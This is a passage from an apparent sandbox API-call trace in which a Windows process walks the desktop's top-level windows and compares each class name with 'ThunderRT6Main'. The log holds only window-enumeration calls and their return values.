(hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0109.449] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.449] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.449] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0109.449] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0109.449] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0109.449] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0109.449] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0109.449] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0109.449] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.449] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.449] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0109.450] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0109.450] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0109.450] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0109.450] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0109.450] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0109.450] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.450] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.450] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0109.450] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0109.450] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0109.450] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0109.450] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0109.450] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0109.450] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.450] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.450] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0109.450] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0109.450] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0109.450] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0109.450] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0109.450] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0109.450] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.450] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.450] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0109.451] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0109.451] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0109.451] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0109.451] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0109.451] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0109.451] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.451] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.451] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0109.451] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0109.451] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0109.451] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0109.451] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0109.451] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0109.451] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.451] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.451] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0109.451] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0109.451] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0109.451] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0109.451] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0109.451] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0109.451] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.451] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.451] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0109.452] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0109.452] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0109.452] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0109.452] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0109.452] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0109.452] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.452] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0109.452] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0109.452] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0109.452] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0109.452] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0109.452] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0109.452] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.452] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0109.452] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0109.452] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0109.452] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0109.452] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0109.452] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0109.452] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.452] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.452] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0109.453] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0109.453] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0109.453] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0109.453] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0109.453] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0109.453] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.453] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.453] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0109.453] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0109.453] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0109.453] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0109.453] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0109.453] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0109.453] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.453] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.453] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0109.453] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0109.453] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0109.453] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0109.453] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0109.453] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0109.453] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.453] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.453] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0109.454] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0109.454] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0109.454] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0109.454] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0109.454] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0109.454] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.454] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.454] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0109.454] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0109.454] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0109.454] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0109.454] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0109.454] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0109.454] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.454] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.454] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0109.454] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0109.454] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0109.454] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0109.454] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0109.454] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0109.454] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.455] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.455] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0109.455] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0109.455] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0109.455] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0109.455] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0109.455] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0109.455] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0109.455] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0109.455] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0109.455] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0109.455] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0109.455] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0109.455] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0109.455] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0109.455] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0109.455] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0109.455] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0109.455] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0109.455] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0109.455] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0109.455] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0109.455] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0109.455] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.456] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.456] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0109.456] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x1012c [0109.456] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEFBBC41F0") returned 20 [0109.456] lstrcmpA (lpString1="ATL:000007FEFBBC41F0", lpString2="ThunderRT6Main") returned -1 [0109.456] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0109.456] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x1012e [0109.456] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.456] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.456] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0109.456] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x2006a [0109.456] GetClassNameA (in: hWnd=0x2006a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0109.456] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0109.456] GetWindowThreadProcessId (in: hWnd=0x2006a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0109.456] GetWindow (hWnd=0x2006a, uCmd=0x2) returned 0x20068 [0109.456] GetClassNameA (in: hWnd=0x20068, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.456] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.456] GetWindowThreadProcessId (in: hWnd=0x20068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0109.456] GetWindow (hWnd=0x20068, uCmd=0x2) returned 0x20066 [0109.456] GetClassNameA (in: hWnd=0x20066, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.456] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.456] GetWindowThreadProcessId (in: hWnd=0x20066, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0109.456] GetWindow (hWnd=0x20066, uCmd=0x2) returned 0x10124 [0109.456] GetClassNameA (in: hWnd=0x10124, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.457] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.457] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7bc [0109.457] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122 [0109.457] GetClassNameA (in: hWnd=0x10122, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0109.457] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0109.457] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.457] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011c [0109.457] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.457] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.457] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0109.457] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x10118 [0109.457] GetClassNameA (in: hWnd=0x10118, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.457] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.457] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x79c [0109.457] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x100fe [0109.457] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.457] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.457] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.457] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x100fa [0109.457] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0109.457] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0109.457] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.457] GetWindow (hWnd=0x100fa, uCmd=0x2) returned 0x100ec [0109.457] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0109.458] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0109.458] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.458] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x100e2 [0109.458] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.458] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.458] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.458] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100dc [0109.458] GetClassNameA (in: hWnd=0x100dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.458] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.458] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.458] GetWindow (hWnd=0x100dc, uCmd=0x2) returned 0x200d6 [0109.458] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.458] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.458] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.458] GetWindow (hWnd=0x200d6, uCmd=0x2) returned 0x100be [0109.458] GetClassNameA (in: hWnd=0x100be, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0109.458] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0109.458] GetWindowThreadProcessId (in: hWnd=0x100be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.458] GetWindow (hWnd=0x100be, uCmd=0x2) returned 0x500b4 [0109.458] GetClassNameA (in: hWnd=0x500b4, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0109.458] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0109.458] GetWindowThreadProcessId (in: hWnd=0x500b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.458] GetWindow (hWnd=0x500b4, uCmd=0x2) returned 0x100aa [0109.458] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.459] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.459] GetWindowThreadProcessId (in: hWnd=0x100aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x758 [0109.459] GetWindow (hWnd=0x100aa, uCmd=0x2) returned 0x100a6 [0109.459] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0109.459] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0109.459] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.459] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x1009a [0109.459] GetClassNameA (in: hWnd=0x1009a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.459] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.459] GetWindowThreadProcessId (in: hWnd=0x1009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.459] GetWindow (hWnd=0x1009a, uCmd=0x2) returned 0x10086 [0109.459] GetClassNameA (in: hWnd=0x10086, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0109.459] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0109.459] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.459] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0109.459] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0109.459] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0109.459] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.459] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0109.459] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="#43") returned 3 [0109.459] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0109.459] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0109.459] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0109.459] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.459] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.460] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0109.460] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0109.460] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0109.460] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0109.460] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0109.460] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0109.460] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0109.460] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0109.460] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0109.460] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0109.460] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0109.460] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0109.460] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0109.460] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0109.460] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0109.460] 